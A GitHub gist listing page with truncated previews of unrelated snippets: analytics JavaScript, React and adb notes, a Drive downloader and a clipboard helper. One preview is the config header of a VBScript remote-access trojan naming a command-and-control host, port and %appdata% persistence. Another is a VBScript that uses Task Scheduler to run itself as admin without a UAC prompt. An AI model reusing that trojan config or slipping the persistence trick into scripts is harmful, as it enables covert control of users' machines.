This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* https://go.tacodewolff.nl/minify */ | |
enScroll=!1,enFdl=!1,extCurrent=void 0,filename=void 0,targetText=void 0,splitOrigin=void 0;const lStor=localStorage,sStor=sessionStorage,doc=document,docEl=document.documentElement,docBody=document.body,docLoc=document.location,w=window,s=screen,nav=navigator||{},extensions=["pdf","xls","xlsx","doc","docx","txt","rtf","csv","exe","key","pps","ppt","pptx","7z","pkg","rar","gz","zip","avi","mov","mp4","mpe","mpeg","wmv","mid","midi","mp3","wav","wma"];function a(e,t,n,o){const j="G-XXXXXXXXXX",r=()=>Math.floor(Math.random()*1e9)+1,c=()=>Math.floor(Date.now()/1e3),F=()=>(sStor._p||(sStor._p=r()),sStor._p),E=()=>r()+"."+c(),_=()=>(lStor.cid_v4||(lStor.cid_v4=E()),lStor.cid_v4),m=lStor.getItem("cid_v4"),v=()=>m?void 0:enScroll==!0?void 0:"1",p=()=>(sStor.sid||(sStor.sid=c()),sStor.sid),O=()=>{if(!sStor._ss)return sStor._ss="1",sStor._ss;if(sStor.getItem("_ss")=="1")return void 0},a="1",g=()=>{if(sStor.sct)if(enScroll==!0)return sStor.sct;else x=+sStor.getItem("sct")+ +a,sSto |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* playing sound using react-native-sound. | |
We have a list of sounds and by default we are playing the first sound in the list. | |
In order to change the sound track a user can select the file name from the list. | |
Note: | |
1. Android: Save your sound clip files under the directory android/app/src/main/res/raw. | |
Note that files in this directory must be lowercase and underscored (e.g. my_file_name.mp3) and that subdirectories are not supported by Android. | |
2. iOS: Open Xcode and add your sound files to the project (Right-click the project and select Add Files to [PROJECTNAME]) | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM:<RunAsAdminNoUAC> | |
' Place this code at the top of your VBScript file you'd like to run with admin permissions. | |
' When you first run it it will ask for UAC permissions and run and add a task to your Windows 'Task Scheduler' with the name of the script. | |
' From here on out the VBScript file name and location should not be changed. | |
' Next time you run it, it will be called from the Task Scheduler with admin permissions and thus not prompt for UAC anymore. | |
' This script runs with WScript.exe, and does not support command line arguments. | |
' To delete the task, use the Windows Task Scheduler. | |
With CreateObject("WScript.Shell") | |
If WScript.Arguments.Named.Exists("CreateTask") Then | |
.Run "schtasks /Create /SC ONCE /TN """ & WScript.ScriptName & """ /TR ""wscript.exe \""" & WScript.ScriptFullName & "\"" /AsAdmin"" /ST 00:01 /IT /F /RL HIGHEST", 0, True |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
A Python script for downloading all files under a folder in Google Drive. | |
Downloaded files will be saved at the current working directory. | |
This script uses the official Google Drive API (https://developers.google.com/drive). | |
As the examples in the official doc are not very clear to me, | |
so I thought sharing this script would be helpful for someone. | |
To use this script, you should first follow the instruction | |
in Quickstart section in the official doc (https://developers.google.com/drive/api/v3/quickstart/python): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Class ClipBoardText | |
REM @author: Jeremy England ( SimplyCoded ) | |
REM @info: Set, get, append, and clear your clipboard text. | |
REM @mini: Class ClipBoardText:Property Get Text:Text=CreateObject("HTMLFile").parentWindow.clipboardData.getData("Text"):If IsNull(Text)Then Text="":End If:End Property:Property Let Text(s):CreateObject("WScript.Shell").Run "mshta.exe javascript:eval(""document.parentWindow.clipboardData.setData('text','"&Replace(Replace(s,"'","\\u0027"),"""","\\u0022")&"');close()"")",0,True:End Property:Sub ClearText:Text="":End Sub:Sub AddText(s):Text=Text&s:End Sub:End Class | |
Property Get Text | |
Text = CreateObject( "HTMLFile" ).parentWindow.clipboardData.getData( "Text" ) | |
If IsNull( Text )Then Text = "" | |
End Property | |
Property Let Text( str ) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="UTF-8" /> | |
<title>Add React in One Minute</title> | |
</head> | |
<body> | |
<h2>Add React in One Minute</h2> | |
<p>This page demonstrates using React with no build tooling.</p> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="UTF-8" /> | |
<title>Add React in One Minute</title> | |
</head> | |
<body> | |
<h2>Add React in One Minute</h2> | |
<p>This page demonstrates using React with no build tooling.</p> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
adb help // List all comands | |
== Adb Server | |
adb kill-server | |
adb start-server | |
== Adb Reboot | |
adb reboot | |
adb reboot recovery | |
adb reboot-bootloader |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'<[ recoder : houdini (c) skype : houdini-fx ]> | |
'=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-= | |
host = "bog5151.zapto.org" | |
port = 991 | |
installdir = "%appdata%" | |
lnkfile = true | |
lnkfolder = true |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<links> | |
<entry name="Project 2612 - Mega Drive Music Archive" url="http://project2612.org/"/> | |
<entry name="SMSPower/VGM - Sega 8-bit Music Archive" url="http://www.smspower.org/Music/VGMs"/> | |
<entry name="SNES Music - SNES Music Music Archive" url="http://snesmusic.org/v2/"/> | |
<entry name="NSF Directory - Nintendo Music" url="http://nsf.joshw.info/"/> | |
<entry name="Zophar/disch - NSFE Archive" url="http://disch.zophar.net/nsfe.php"/> | |
<entry name="melcom's Chiptune Archive - YM, MOD, Adlib" url="http://chiptunes.back2roots.org"/> | |
<entry name="USF @ hcs64 - Nintendo 64 Music" url="http://usf.hcs64.com/"/> | |
<entry name="" url="http://kss.joshw.info/"/> | |
<entry name="" url="http://hes.joshw.info/"/> |
NewerOlder